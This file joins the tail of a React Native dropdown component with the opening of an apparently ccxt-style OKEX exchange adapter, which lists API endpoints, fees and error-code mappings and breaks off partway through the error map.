<View style={[styles.triangle, triangleStyle]} />
</View>
</View>
);
}
renderItem({ item, index }) {
if (null == item) {
return null;
}
let { selected, leftInset, rightInset } = this.state;
let {
valueExtractor,
labelExtractor,
propsExtractor,
textColor,
itemColor,
baseColor,
selectedItemColor = textColor,
disabledItemColor = baseColor,
fontSize,
itemTextStyle,
rippleOpacity,
rippleDuration,
shadeOpacity
} = this.props;
let props = propsExtractor(item, index);
let { style, disabled } = (props = {
rippleDuration,
rippleOpacity,
rippleColor: baseColor,
shadeColor: baseColor,
shadeOpacity,
...props,
onPress: this.onSelect
});
let value = valueExtractor(item, index);
let label = labelExtractor(item, index);
let title = null == label ? value : label;
let color = disabled
? disabledItemColor
: ~selected
? index === selected
? selectedItemColor
: itemColor
: selectedItemColor;
let textStyle = { color, fontSize };
props.style = [
style,
{
height: this.itemSize(),
paddingLeft: leftInset,
paddingRight: rightInset
}
];
return (
<DropdownItem index={index} {...props}>
<Text style={[styles.item, itemTextStyle, textStyle]} numberOfLines={1}>
{title}
</Text>
</DropdownItem>
);
}
render() {
let {
renderBase,
renderAccessory,
containerStyle,
overlayStyle: overlayStyleOverrides,
pickerStyle: pickerStyleOverrides,
rippleInsets,
rippleOpacity,
rippleCentered,
rippleSequential,
hitSlop,
pressRetentionOffset,
testID,
nativeID,
accessible,
accessibilityLabel,
supportedOrientations,
...props
} = this.props;
let { data, disabled, itemPadding, dropdownPosition } = props;
let { left, top, width, opacity, selected, modal } = this.state;
let itemCount = data.length;
let visibleItemCount = this.visibleItemCount();
let tailItemCount = this.tailItemCount();
let itemSize = this.itemSize();
let height = 2 * itemPadding + itemSize * visibleItemCount;
let translateY = -itemPadding;
if (null == dropdownPosition) {
switch (selected) {
case -1:
translateY -= 1 === itemCount ? 0 : itemSize;
break;
case 0:
break;
default:
if (selected >= itemCount - tailItemCount) {
translateY -=
itemSize * (visibleItemCount - (itemCount - selected));
} else {
translateY -= itemSize;
}
}
} else {
if (dropdownPosition < 0) {
translateY -= itemSize * (visibleItemCount + dropdownPosition);
} else {
translateY -= itemSize * dropdownPosition;
}
}
let overlayStyle = { opacity };
let pickerStyle = {
width,
height,
top,
left,
transform: [{ translateY }]
};
let touchableProps = {
disabled,
hitSlop,
pressRetentionOffset,
onPress: this.onPress,
testID,
nativeID,
accessible,
accessibilityLabel
};
return (
<View
onLayout={this.onLayout}
ref={this.updateContainerRef}
style={containerStyle}
>
<TouchableWithoutFeedback {...touchableProps}>
<View pointerEvents="box-only">
{this.renderBase(props)}
{this.renderRipple()}
</View>
</TouchableWithoutFeedback>
<Modal
visible={modal}
transparent={true}
onRequestClose={this.blur}
supportedOrientations={supportedOrientations}
>
<Animated.View
style={[styles.overlay, overlayStyle, overlayStyleOverrides]}
onStartShouldSetResponder={() => true}
onResponderRelease={this.blur}
>
<View
style={[styles.picker, pickerStyle, pickerStyleOverrides]}
onStartShouldSetResponder={() => true}
>
<FlatList
ref={this.updateScrollRef}
data={data}
style={styles.scroll}
renderItem={this.renderItem}
keyExtractor={this.keyExtractor}
scrollEnabled={visibleItemCount < itemCount}
contentContainerStyle={styles.scrollContainer}
getItemLayout={this.getItemLayout}
/>
</View>
</Animated.View>
</Modal>
</View>
);
}
}
|
'use strict';
// ---------------------------------------------------------------------------
const Exchange = require ('./base/Exchange');
const { ExchangeError, ExchangeNotAvailable, OnMaintenance, ArgumentsRequired, BadRequest, AccountSuspended, InvalidAddress, PermissionDenied, DDoSProtection, InsufficientFunds, InvalidNonce, CancelPending, InvalidOrder, OrderNotFound, AuthenticationError, RequestTimeout, NotSupported, BadSymbol } = require ('./base/errors');
const { TICK_SIZE, TRUNCATE } = require ('./base/functions/number');
// ---------------------------------------------------------------------------
module.exports = class okex extends Exchange {
describe () {
return this.deepExtend (super.describe (), {
'id': 'okex',
'name': 'OKEX',
'countries': [ 'CN', 'US' ],
'version': 'v3',
'rateLimit': 1000, // up to 3000 requests per 5 minutes ≈ 600 requests per minute ≈ 10 requests per second ≈ 100 ms
'pro': true,
'has': {
'cancelOrder': true,
'CORS': false,
'createOrder': true,
'fetchBalance': true,
'fetchClosedOrders': true,
'fetchCurrencies': false, // see below
'fetchDepositAddress': true,
'fetchDeposits': true,
'fetchLedger': true,
'fetchMarkets': true,
'fetchMyTrades': true,
'fetchOHLCV': true,
'fetchOpenOrders': true,
'fetchOrder': true,
'fetchOrderBook': true,
'fetchOrders': false,
'fetchOrderTrades': true,
'fetchTime': true,
'fetchTicker': true,
'fetchTickers': true,
'fetchTrades': true,
'fetchTransactions': false,
'fetchWithdrawals': true,
'futures': true,
'withdraw': true,
},
'timeframes': {
'1m': '60',
'3m': '180',
'5m': '300',
'15m': '900',
'30m': '1800',
'1h': '3600',
'2h': '7200',
'4h': '14400',
'6h': '21600',
'12h': '43200',
'1d': '86400',
'1w': '604800',
'1M': '2678400',
'3M': '8035200',
'6M': '16070400',
'1y': '31536000',
},
'hostname': 'okex.com',
'urls': {
'logo': 'https://user-images.githubusercontent.com/1294454/32552768-0d6dd3c6-c4a6-11e7-90f8-c043b64756a7.jpg',
'api': {
'rest': 'https://www.{hostname}',
},
'www': 'https://www.okex.com',
'doc': 'https://www.okex.com/docs/en/',
'fees': 'https://www.okex.com/pages/products/fees.html',
'referral': 'https://www.okex.com/join/1888677',
'test': {
'rest': 'https://testnet.okex.com',
},
},
'api': {
'general': {
'get': [
'time',
],
},
'account': {
'get': [
'wallet',
'sub-account',
'asset-valuation',
'wallet/{currency}',
'withdrawal/history',
'withdrawal/history/{currency}',
'ledger',
'deposit/address',
'deposit/history',
'deposit/history/{currency}',
'currencies',
'withdrawal/fee',
],
'post': [
'transfer',
'withdrawal',
],
},
'spot': {
'get': [
'accounts',
'accounts/{currency}',
'accounts/{currency}/ledger',
'orders',
'orders_pending',
'orders/{order_id}',
'orders/{client_oid}',
'trade_fee',
'fills',
'algo',
// public
'instruments',
'instruments/{instrument_id}/book',
'instruments/ticker',
'instruments/{instrument_id}/ticker',
'instruments/{instrument_id}/trades',
'instruments/{instrument_id}/candles',
'instruments/{instrument_id}/history/candles',
],
'post': [
'order_algo',
'orders',
'batch_orders',
'cancel_orders/{order_id}',
'cancel_orders/{client_oid}',
'cancel_batch_algos',
'cancel_batch_orders',
],
},
'margin': {
'get': [
'accounts',
'accounts/{instrument_id}',
'accounts/{instrument_id}/ledger',
'accounts/availability',
'accounts/{instrument_id}/availability',
'accounts/borrowed',
'accounts/{instrument_id}/borrowed',
'orders',
'accounts/{instrument_id}/leverage',
'orders/{order_id}',
'orders/{client_oid}',
'orders_pending',
'fills',
// public
'instruments/{instrument_id}/mark_price',
],
'post': [
'accounts/borrow',
'accounts/repayment',
'orders',
'batch_orders',
'cancel_orders',
'cancel_orders/{order_id}',
'cancel_orders/{client_oid}',
'cancel_batch_orders',
'accounts/{instrument_id}/leverage',
],
},
'futures': {
'get': [
'position',
'{instrument_id}/position',
'accounts',
'accounts/{underlying}',
'accounts/{underlying}/leverage',
'accounts/{underlying}/ledger',
'order_algo/{instrument_id}',
'orders/{instrument_id}',
'orders/{instrument_id}/{order_id}',
'orders/{instrument_id}/{client_oid}',
'fills',
'trade_fee',
'accounts/{instrument_id}/holds',
'order_algo/{instrument_id}',
// public
'instruments',
'instruments/{instrument_id}/book',
'instruments/ticker',
'instruments/{instrument_id}/ticker',
'instruments/{instrument_id}/trades',
'instruments/{instrument_id}/candles',
'instruments/{instrument_id}/history/candles',
'instruments/{instrument_id}/index',
'rate',
'instruments/{instrument_id}/estimated_price',
'instruments/{instrument_id}/open_interest',
'instruments/{instrument_id}/price_limit',
'instruments/{instrument_id}/mark_price',
'instruments/{instrument_id}/liquidation',
],
'post': [
'accounts/{underlying}/leverage',
'order',
'orders',
'cancel_order/{instrument_id}/{order_id}',
'cancel_order/{instrument_id}/{client_oid}',
'cancel_batch_orders/{instrument_id}',
'accounts/margin_mode',
'close_position',
'cancel_all',
'order_algo',
'cancel_algos',
],
},
'swap': {
'get': [
'position',
'{instrument_id}/position',
'accounts',
'{instrument_id}/accounts',
'accounts/{instrument_id}/settings',
'accounts/{instrument_id}/ledger',
'orders/{instrument_id}',
'orders/{instrument_id}/{order_id}',
'orders/{instrument_id}/{client_oid}',
'fills',
'accounts/{instrument_id}/holds',
'trade_fee',
'order_algo/{instrument_id}',
// public
'instruments',
'instruments/{instrument_id}/depth',
'instruments/ticker',
'instruments/{instrument_id}/ticker',
'instruments/{instrument_id}/trades',
'instruments/{instrument_id}/candles',
'instruments/{instrument_id}/history/candles',
'instruments/{instrument_id}/index',
'rate',
'instruments/{instrument_id}/open_interest',
'instruments/{instrument_id}/price_limit',
'instruments/{instrument_id}/liquidation',
'instruments/{instrument_id}/funding_time',
'instruments/{instrument_id}/mark_price',
'instruments/{instrument_id}/historical_funding_rate',
],
'post': [
'accounts/{instrument_id}/leverage',
'order',
'orders',
'cancel_order/{instrument_id}/{order_id}',
'cancel_order/{instrument_id}/{client_oid}',
'cancel_batch_orders/{instrument_id}',
'order_algo',
'cancel_algos',
],
},
'option': {
'get': [
'accounts',
'{underlying}/position',
'accounts/{underlying}',
'orders/{underlying}',
'fills/{underlying}',
'accounts/{underlying}/ledger',
'trade_fee',
'orders/{underlying}/{order_id}',
'orders/{underlying}/{client_oid}',
// public
'underlying',
'instruments/{underlying}',
'instruments/{underlying}/summary',
'instruments/{underlying}/summary/{instrument_id}',
'instruments/{instrument_id}/book',
'instruments/{instrument_id}/trades',
'instruments/{instrument_id}/ticker',
'instruments/{instrument_id}/candles',
],
'post': [
'order',
'orders',
'cancel_order/{underlying}/{order_id}',
'cancel_order/{underlying}/{client_oid}',
'cancel_batch_orders/{underlying}',
'amend_order/{underlying}',
'amend_batch_orders/{underlying}',
],
},
'index': {
'get': [
'{instrument_id}/constituents',
],
},
},
'fees': {
'trading': {
'taker': 0.0015,
'maker': 0.0010,
},
'spot': {
'taker': 0.0015,
'maker': 0.0010,
},
'futures': {
'taker': 0.0005,
'maker': 0.0002,
},
'swap': {
'taker': 0.00075,
'maker': 0.00020,
},
},
'requiredCredentials': {
'apiKey': true,
'secret': true,
'password': true,
},
'exceptions': {
// http error codes
// 400 Bad Request — Invalid request format
// 401 Unauthorized — Invalid API Key
// 403 Forbidden — You do not have access to the requested resource
// 404 Not Found
// 429 Client Error: Too Many Requests for url
// 500 Internal Server Error — We had a problem with our server
'exact': {
'1': ExchangeError, // { "code": 1, "message": "System error" }
// undocumented
'failure to get a peer from the ring-balancer': ExchangeNotAvailable, // { "message": "failure to get a peer from the ring-balancer" }
'Server is busy, please try again': ExchangeNotAvailable, // { "message": "Server is busy, please try again." }
'An unexpected error occurred': ExchangeError, // { "message": "An unexpected error occurred" }
'System error': ExchangeError, // {"error_message":"System error","message":"System error"}
'4010': PermissionDenied, // { "code": 4010, "message": "For the security of your funds, withdrawals are not permitted within 24 hours after changing fund password / mobile number / Google Authenticator settings " }
// common
// '0': ExchangeError, // 200 successful,when the order placement / cancellation / operation is successful
'4001': ExchangeError, // no data received in 30s
'4002': ExchangeError, // Buffer full. cannot write data
// --------------------------------------------------------
'30001': AuthenticationError, // { "code": 30001, "message": 'request header "OK_ACCESS_KEY" cannot be blank'}
'30002': AuthenticationError, // { "code": 30002, "message": 'request header "OK_ACCESS_SIGN" cannot be blank'}
'30003': AuthenticationError, // { "code": 30003, "message": 'request header "OK_ACCESS_TIMESTAMP" cannot be blank'}
'30004': AuthenticationError, // { "code": 30004, "message": 'request header "OK_ACCESS_PASSPHRASE" cannot be blank'}
'30005': InvalidNonce, // { "code": 30005, "message": "invalid OK_ACCESS_TIMESTAMP" }
'30006': AuthenticationError, // { "code": 30006, "message": "invalid OK_ACCESS_KEY" }
'30007': BadRequest, // { "code": 30007, "message": 'invalid Content_Type, please use "application/json" format'}
'30008': RequestTimeout, // { "code": 30008, "message": "timestamp request expired" }
'30009': ExchangeError, // { "code": 30009, "message": "system error" }
'30010': AuthenticationError, // { "code": 30010, "message": "API validation failed" }
'30011': PermissionDenied, // { "code": 30011, "message": "invalid IP" }
'30012': AuthenticationError, // { "code": 30012, "message": "invalid authorization" }
'30013': AuthenticationError, // { "code": 30013, "message": "invalid sign" }
'30014': DDoSProtection, // { "code": 30014, "message": "request too frequent" }
'30015': AuthenticationError, // { "code": 30015, "message": 'request header "OK_ACCESS_PASSPHRASE" incorrect'}
'30016': ExchangeError, // { "code": 30015, "message": "you are using v1 apiKey, please use v1 endpoint. If you would like to use v3 endpoint, please subscribe to v3 apiKey" }
'30017': ExchangeError, // { "code": 30017, "message": "apikey's broker id does not match" }
'30018': ExchangeError, // { "code": 30018, "message": "apikey's domain does not match" }
'30019': ExchangeNotAvailable, // { "code": 30019, "message": "Api is offline or unavailable" }
'30020': BadRequest, // { "code": 30020, "message": "body cannot be blank" }
'30021': BadRequest, // { "code": 30021, "message": "Json data format error" }, { "code": 30021, "message": "json data format error" }
'30022': PermissionDenied, // { "code": 30022, "message": "Api has been frozen" }
'30023': BadRequest, // { "code": 30023, "message": "{0} parameter cannot be blank" }
'30024': BadSymbol, // {"code":30024,"message":"\"instrument_id\" is an invalid parameter"}
'30025': BadRequest, // { "code": 30025, "message": "{0} parameter category error" }
'30026': DDoSProtection, // { "code": 30026, "message": "requested too frequent" }
'30027': AuthenticationError, // { "code": 30027, "message": "login failure" }
'30028': PermissionDenied, // { "code": 30028, "message": "unauthorized execution" }
'30029': AccountSuspended, // { "code": 30029, "message": "account suspended" }
'30030': ExchangeNotAvailable, // { "code": 30030, "message": "endpoint request failed. Please try again" }
'30031': BadRequest, // { "code": 30031, "message": "token does not exist" }
'30032': BadSymbol, // { "code": 30032, "message": "pair does not exist" }
'30033': BadRequest, // { "code": 30033, "message": "exchange domain does not exist" }
'30034': ExchangeError, // { "code": 30034, "message": "exchange ID does not exist" }
'30035': ExchangeError, // { "code": 30035, "message": "trading is not supported in this website" }
'30036': ExchangeError, // { "code": 30036, "message": "no relevant data" }
'30037': ExchangeNotAvailable, // { "code": 30037, "message": "endpoint is offline or unavailable" }
// '30038': AuthenticationError, // { "code": 30038, "message": "user does not exist" }
'30038': OnMaintenance, // {"client_oid":"","code":"30038","error_code":"30038","error_message":"Matching engine is being upgraded. Please try in about 1 minute.","message":"Matching engine is being upgraded. Please try in about 1 minute.","order_id":"-1","result":false}
'30044': RequestTimeout, // { "code":30044, "message":"Endpoint request timeout" }
// futures
'32001': AccountSuspended, // { "code": 32001, "message": "futures account suspended" }
'32002': PermissionDenied, // { "code": 32002, "message": "futures account does not exist" }
'32003': CancelPending, // { "code": 32003, "message": "canceling, please wait" }
'32004': ExchangeError, // { "code": 32004, "message": "you have no unfilled orders" }
'32005': InvalidOrder, // { "code": 32005, "message": "max order quantity" }
'32006': InvalidOrder, // { "code": 32006, "message": "the order price or trigger price exceeds USD 1 million" }
'32007': InvalidOrder, // { "code": 32007, "message": "leverage level must be the same for orders on the same side of the contract" }
'32008': InvalidOrder, // { "code": 32008, "message": "Max. positions to open (cross margin)" }
'32009': InvalidOrder, // { "code": 32009, "message": "Max. positions to open (fixed margin)" }
'32010': ExchangeError, // { "code": 32010, "message": "leverage cannot be changed with open positions" }
'32011': ExchangeError, // { "code": 32011, "message": "futures status error" }
'32012': ExchangeError, // { "code": 32012, "message": "futures order update error" }
'32013': ExchangeError, // { "code": 32013, "message": "token type is blank" }
'32014': ExchangeError, // { "code": 32014, "message": "your number of contracts closing is larger than the number of contracts available" }
'32015': ExchangeError, // { "code": 32015, "message": "margin ratio is lower than 100% before opening positions" }
'32016': ExchangeError, // { "code": 32016, "message": "margin ratio is lower than 100% after opening position" }
'32017': ExchangeError, // { "code": 32017, "message": "no BBO" }
'32018': ExchangeError, // { "code": 32018, "message": "the order quantity is less than 1, please try again" }
'32019': ExchangeError, // { "code": 32019, "message": "the order price deviates from the price of the previous minute by more than 3%" }
'32020': ExchangeError, // { "code": 32020, "message": "the price is not in the range of the price limit" }
'32021': ExchangeError, // { "code": 32021, "message": "leverage error" }
'32022': ExchangeError, // { "code": 32022, "message": "this function is not supported in your country or region according to the regulations" }
'32023': ExchangeError, // { "code": 32023, "message": "this account has outstanding loan" }
'32024': ExchangeError, // { "code": 32024, "message": "order cannot be placed during delivery" }
'32025': ExchangeError, // { "code": 32025, "message": "order cannot be placed during settlement" }
'32026': ExchangeError, // { "code": 32026, "message": "your account is restricted from opening positions" }
'32027': ExchangeError, // { "code": 32027, "message": "cancelled over 20 orders" }
'32028': ExchangeError, // { "code": 32028, "message": "account is suspended and liquidated" }
'32029': ExchangeError, // { "code": 32029, "message": "order info does not exist" }
'32030': InvalidOrder, // The order cannot be cancelled
'32031': ArgumentsRequired, // client_oid or order_id is required.
'32038': AuthenticationError, // User does not exist
'32040': ExchangeError, // User have open contract orders or position
'32044': ExchangeError, // { "code": 32044, "message": "The margin ratio after submitting this order is lower than the minimum requirement ({0}) for your tier." }
'32045': ExchangeError, // String of commission over 1 million
'32046': ExchangeError, // Each user can hold up to 10 trade plans at the same time
'32047': ExchangeError, // system error
'32048': InvalidOrder, // Order strategy track range error
'32049': ExchangeError, // Each user can hold up to 10 track plans at the same time
'32050': InvalidOrder, // Order strategy rang error
'32051': InvalidOrder, // Order strategy ice depth error
'32052': ExchangeError, // String of commission over 100 thousand
'32053': ExchangeError, // Each user can hold up to 6 ice plans at the same time
'32057': ExchangeError, // The order price is zero. Market-close-all function cannot be executed
'32054': ExchangeError, // Trade not allow
'32055': InvalidOrder, // cancel order error
'32056': ExchangeError, // iceberg per order average should between {0}-{1} contracts
'32058': ExchangeError, // Each user can hold up to 6 initiative plans at the same time
'32059': InvalidOrder, // Total amount should exceed per order amount
'32060': InvalidOrder, // Order strategy type error
'32061': InvalidOrder, // Order strategy initiative limit error
'32062': InvalidOrder, // Order strategy initiative range error
'32063': InvalidOrder, // Order strategy initiative rate error
'32064': ExchangeError, // Time Stringerval of orders should set between 5-120s
'32065': ExchangeError, // Close amount exceeds the limit of Market-close-all (999 for BTC, and 9999 for the rest tokens)
'32066': ExchangeError, // You have open orders. Please cancel all open orders before changing your leverage level.
'32067': ExchangeError, // Account equity < required margin in this setting. Please adjust your leverage level again.
'32068': ExchangeError, // The margin for this position will fall short of the required margin in this setting. Please adjust your leverage level or increase your margin to proceed.
'32069': ExchangeError, // Target leverage level too low. Your account balance is insufficient to cover the margin required. Please adjust the leverage level again.
'32070': ExchangeError, // Please check open position or unfilled order
'32071': ExchangeError, // Your current liquidation mode does not support this action.
'32072': ExchangeError, // The highest available margin for your order’s tier is {0}. Please edit your margin and place a new order.
'32073': ExchangeError, // The action does not apply to the token
'32074': ExchangeError, // The number of contracts of your position, open orders, and the current order has exceeded the maximum order limit of this asset.
'32075': ExchangeError, // Account risk rate breach
'32076': ExchangeError, // Liquidation of the holding position(s) at market price will require cancellation of all pending close orders of the contracts.
'32077': ExchangeError, // Your margin for this asset in futures account is insufficient and the position has been taken over for liquidation. (You will not be able to place orders, close positions, transfer funds, or add margin during this period of time. Your account will be restored after the liquidation is complete.)
'32078': ExchangeError, // Please cancel all open orders before switching the liquidation mode(Please cancel all open orders before switching the liquidation mode)
'32079': ExchangeError, // Your open positions are at high risk.(Please add margin or reduce positions before switching the mode)
'32080': ExchangeError, // Funds cannot be transferred out within 30 minutes after futures settlement
'32083': ExchangeError, // The number of contracts should be a positive multiple of %%. Please place your order again
// token and margin trading
'33001': PermissionDenied, // { "code": 33001, "message": "margin account for this pair is not enabled yet" }
'33002': AccountSuspended, // { "code": 33002, "message": "margin account for this pair is suspended" }
'33003': InsufficientFunds, // { "code": 33003, "message": "no loan balance" }
'33004': ExchangeError, // { "code": 33004, "message": "loan amount cannot be smaller than the minimum limit" }
'33005': ExchangeError, // { "code": 33005, "message": "repayment amount must exceed 0" }
'33006': ExchangeError, // { "code": 33006, "message": "loan order not found" }
'33007': ExchangeError, // { "code": 33007, "message": "status not found" }
'33008': InsufficientFunds, // { "code": 33008, "message": "loan amount cannot exceed the maximum limit" }
'33009': ExchangeError, // { "code": 33009, "message": "user ID is blank" }
'33010': ExchangeError, // { "code": 33010, "message": "you cannot cancel an order during session 2 of call auction" }
'33011': ExchangeError, // { "code": 33011, "message": "no new market data" }
'33012': ExchangeError, // { "code": 33012, "message": "order cancellation failed" }
'33013': InvalidOrder, // { "code": 33013, "message": "order placement failed" }
'33014': OrderNotFound, // { "code": 33014, "message": "order does not exist" }
'33015': InvalidOrder, // { "code": 33015, "message": "exceeded maximum limit" }
'33016': ExchangeError, // { "code": 33016, "message": "margin trading is not open for this token" }
'33017': InsufficientFunds, // { "code": 33017, "message": "insufficient balance" }
'33018': ExchangeError, // { "code": 33018, "message": "this parameter must be smaller than 1" }
'33020': ExchangeError, // { "code": 33020, "message": "request not supported" }
'33021': BadRequest, // { "code": 33021, "message": "token and the pair do not match" }
'33022': InvalidOrder, // { "code": 33022, "message": "pair and the order do not match" }
'33023': ExchangeError, // { "code": 33023, "message": "you can only place market orders during call auction" }
'33024': InvalidOrder, // { "code": 33024, "message": "trading amount too small" }
'33025': InvalidOrder, // { "code": 33025, "message": "base token amount is blank" }
'33026': ExchangeError, // { "code": 33026, "message": "transaction completed" }
'33027': InvalidOrder, // { "code": 33027, "message": "cancelled order or order cancelling" }
'33028': InvalidOrder, // { "code": 33028, "message": "the decimal places of the trading price exceeded the limit" }
'33029': InvalidOrder, // { "code": 33029, "message": "the decimal places of the trading size exceeded the limit" }
'33034': ExchangeError, // { "code": 33034, "message": "You can only place limit order after Call Auction has started" }
'33035': ExchangeError, // This type of order cannot be canceled(This type of order cannot be canceled)
'33036': ExchangeError, // Exceeding the limit of entrust order
'33037': ExchangeError, // The buy order price should be lower than 130% of the trigger price
'33038': ExchangeError, // The sell order price should be higher than 70% of the trigger price
'33039': ExchangeError, // The limit of callback rate is 0 < x <= 5%
'33040': ExchangeError, // The trigger price of a buy order should be lower than the latest transaction price
'33041': ExchangeError, // The trigger price of a sell order should be higher than the latest transaction price
'33042': ExchangeError, // The limit of price variance is 0 < x <= 1%
'33043': ExchangeError, // The total amount must be larger than 0
'33044': ExchangeError, // The average amount should be 1/1000 * total amount <= x <= total amount
'33045': ExchangeError, // The price should not be 0, including trigger price, order price, and price limit
'33046': ExchangeError, // Price variance should be 0 < x <= 1%
'33047': ExchangeError, // Sweep ratio should be 0 < x <= 100%
'33048': ExchangeError, // Per order limit: Total amount/1000 < x <= Total amount
'33049': ExchangeError, // Total amount should be X > 0
'33050': ExchangeError, // Time interval should be 5 <= x <= 120s
'33051': ExchangeError, // cancel order number not higher limit: plan and track entrust no more than 10, ice and time entrust no more than 6
'33059': BadRequest, // { "code": 33059, "message": "client_oid or order_id is required" }
'33060': BadRequest, // { "code": 33060, "message": "Only fill in either parameter client_oid or order_id" }
'33061': ExchangeError, // Value of a single market price order cannot exceed 100,000 USD
'33062': ExchangeError, // The leverage ratio is too high. The borrowed position has exceeded the maximum position of this leverage ratio. Please readjust the leverage ratio
'33063': ExchangeError, // Leverage multiple is too low, there is insufficient margin in the account, please readjust the leverage ratio
'33064': ExchangeError, // The setting of the leverage ratio cannot be less than 2, please readjust the leverage ratio
'33065': ExchangeError, // Leverage ratio exceeds maximum leverage ratio, please readjust leverage ratio
'33085': InvalidOrder, // The value of the position and buying order has reached the position limit, and no further buying is allowed.
// account
'21009': ExchangeError, // Funds cannot be transferred out within 30 minutes after swap settlement(Funds cannot be transferred out within 30 minutes after swap settlement)
'34001': PermissionDenied, // { "code": 34001, "message": "withdrawal suspended" }
'34002': InvalidAddress, // { "code": 34002, "message": "please add a withdrawal address" }
'34003': ExchangeError, // { "code": 34003, "message": "sorry, this token cannot be withdrawn to xx at the moment" }
'34004': ExchangeError, // { "code": 34004, "message": "withdrawal fee is smaller than minimum limit" }
'34005': ExchangeError, // { "code": 34005, "message": "withdrawal fee exceeds the maximum limit" }
'34006': ExchangeError, // { "code": 34006, "message": "withdrawal amount is lower than the minimum limit" }
'34007': ExchangeError, // { "code": 34007, "message": "withdrawal amount exceeds the maximum limit" }
'34008': InsufficientFunds, // { "code": 34008, "message": "insufficient balance" }
'34009': ExchangeError, // { "code": 34009, "message": "your withdrawal amount exceeds the daily limit" }
'34010': ExchangeError, // { "code": 34010, "message": "transfer amount must be larger than 0" }
'34011': ExchangeError, // { "code": 34011, "message": "conditions not met" }
'34012': ExchangeError, // { "code": 34012, "message": "the minimum withdrawal amount for NEO is 1, and the amount must be an integer" }
'34013': ExchangeError, // { "code": 34013, "message": "please transfer" }
'34014': ExchangeError, // { "code": 34014, "message": "transfer limited" }
'34015': ExchangeError, // { "code": 34015, "message": "subaccount does not exist" }
'34016': PermissionDenied, // { "code": 34016, "message": "transfer suspended" }
'34017': AccountSuspended, // { "code": 34017, "message": "account suspended" }
'34018': AuthenticationError, // { "code": 34018, "message": "incorrect trades password" }
'34019': PermissionDenied, // { "code": 34019, "message": "please bind your email before withdrawal" }
'34020': PermissionDenied, // { "code": 34020, "message": "please bind your funds password before withdrawal" }
'34021': InvalidAddress, // { "code": 34021, "message": "Not verified address" }
'34022': ExchangeError, // { "code": 34022, "message": "Withdrawals are not available for sub accounts" }
'34023': PermissionDenied, // { "code": 34023, "message": "Please enable futures trading before transferring your funds" }
'34026': ExchangeError, // transfer too frequently(transfer too frequently)
'34036': ExchangeError, // Parameter is incorrect, please refer to API documentation
'34037': ExchangeError, // Get the sub-account balance interface, account type is not supported
'34038': ExchangeError, // Since your C2C transaction is unusual, you are restricted from fund transfer. Please contact our customer support to cancel the restriction
'34039': ExchangeError, // You are now restricted from transferring out your funds due to abnormal trades on C2C Market. Please transfer your fund on our website or app instead to verify your identity
// swap
'35001': ExchangeError, // { "code": 35001, "message": "Contract does not exist" }
'35002': ExchangeError, // { "code": 35002, "message": "Contract settling" }
'35003': ExchangeError, // { "code": 35003, "message": "Contract paused" }
'35004': ExchangeError, // { "code": 35004, "message": "Contract pending settlement" }
'35005': AuthenticationError, // { "code": 35005, "message": "User does not exist" }
'35008': InvalidOrder, // { "code": 35008, "message": "Risk ratio too high" }
'35010': InvalidOrder, // { "code": 35010, "message": "Position closing too large" }
'35012': InvalidOrder, // { "code": 35012, "message": "Incorrect order size" }
'35014': InvalidOrder, // { "code": 35014, "message": "Order price is not within limit" }
'35015': InvalidOrder, // { "code": 35015, "message": "Invalid leverage level" }
'35017': ExchangeError, // { "code": 35017, "message": "Open orders exist" }
'35019': InvalidOrder, // { "code": 35019, "message": "Order size too large" }
'35020': InvalidOrder, // { "code": 35020, "message": "Order price too high" }
'35021': InvalidOrder, // { "code": 35021, "message": "Order size exceeded current tier limit" }
'35022': BadRequest, // { "code": 35022, "message": "Contract status error" }
'35024': BadRequest, // { "code": 35024, "message": "Contract not initialized" }
'35025': InsufficientFunds, // { "code": 35025, "message": "No account balance" }
'35026': BadRequest, // { "code": 35026, "message": "Contract settings not initialized" }
'35029': OrderNotFound, // { "code": 35029, "message": "Order does not exist" }
'35030': InvalidOrder, // { "code": 35030, "message": "Order size too large" }
'35031': InvalidOrder, // { "code": 35031, "message": "Cancel order size too large" }
'35032': ExchangeError, // { "code": 35032, "message": "Invalid user status" }
'35037': ExchangeError, // No last traded price in cache
'35039': ExchangeError, // { "code": 35039, "message": "Open order quantity exceeds limit" }
'35040': InvalidOrder, // {"error_message":"Invalid order type","result":"true","error_code":"35040","order_id":"-1"}
'35044': ExchangeError, // { "code": 35044, "message": "Invalid order status" }
'35046': InsufficientFunds, // { "code": 35046, "message": "Negative account balance" }
'35047': InsufficientFunds, // { "code": 35047, "message": "Insufficient account balance" }
'35048': ExchangeError, // { "code": 35048, "message": "User contract is frozen and liquidating" }
'35049': InvalidOrder, // { "code": 35049, "message": "Invalid order type" }
'35050': InvalidOrder, // { "code": 35050, "message": "Position settings are blank" }
'35052': InsufficientFunds, // { "code": 35052, "message": "Insufficient cross margin" }
'35053': ExchangeError, // { "code": 35053, "message": "Account risk too high" }
'35055': InsufficientFunds, // { "code": 35055, "message": "Insufficient account balance" }
'35057': ExchangeError, // { "code": 35057, "message": "No last traded price" }
'35058': ExchangeError, // { "code": 35058, "message": "No limit" }
'35059': BadRequest, // { "code": 35059, "message": "client_oid or order_id is required" }
'35060': BadRequest, // { "code": 35060, "message": "Only fill in either parameter client_oid or order_id" }
'35061': BadRequest, // { "code": 35061, "message": "Invalid instrument_id" }
'35062': InvalidOrder, // { "code": 35062, "message": "Invalid match_price" }
'35063': InvalidOrder, // { "code": 35063, "message": "Invalid order_size" }
'35064': InvalidOrder, // { "code": 35064, "message": "Invalid client_oid" }
'35066': InvalidOrder, // Order interval error
'35067': InvalidOrder, // Time-weighted order ratio error
'35068': InvalidOrder, // Time-weighted order range error
'35069': InvalidOrder, // Time-weighted single transaction limit error
'35070': InvalidOrder, // Algo order type error
'35071': InvalidOrder, // Order total must be larger than single order limit
'35072': InvalidOrder, // Maximum 6 unfulfilled time-weighted orders can be held at the same time
'35073': InvalidOrder, // Order price is 0. Market-close-all not available
'35074': InvalidOrder, // Iceberg order single transaction average error
'35075': InvalidOrder, // Failed to cancel order
'35076': InvalidOrder, // LTC 20x leverage. Not allowed to open position
'35077': InvalidOrder, // Maximum 6 unfulfilled iceberg orders can be held at the same time
'35078': InvalidOrder, // Order amount exceeded 100,000
'35079': InvalidOrder, // Iceberg order price variance error
'35080': InvalidOrder, // Callback rate error
'35081': InvalidOrder, // Maximum 10 unfulfilled trail orders can be held at the same time
'35082': InvalidOrder, // Trail order callback rate error
'35083': InvalidOrder, // Each user can only hold a maximum of 10 unfulfilled stop-limit orders at the same time
'35084': InvalidOrder, // Order amount exceeded 1 million
'35085': InvalidOrder, // Order amount is not in the correct range
'35086': InvalidOrder, // Price exceeds 100 thousand
'35087': InvalidOrder, // Price exceeds 100 thousand
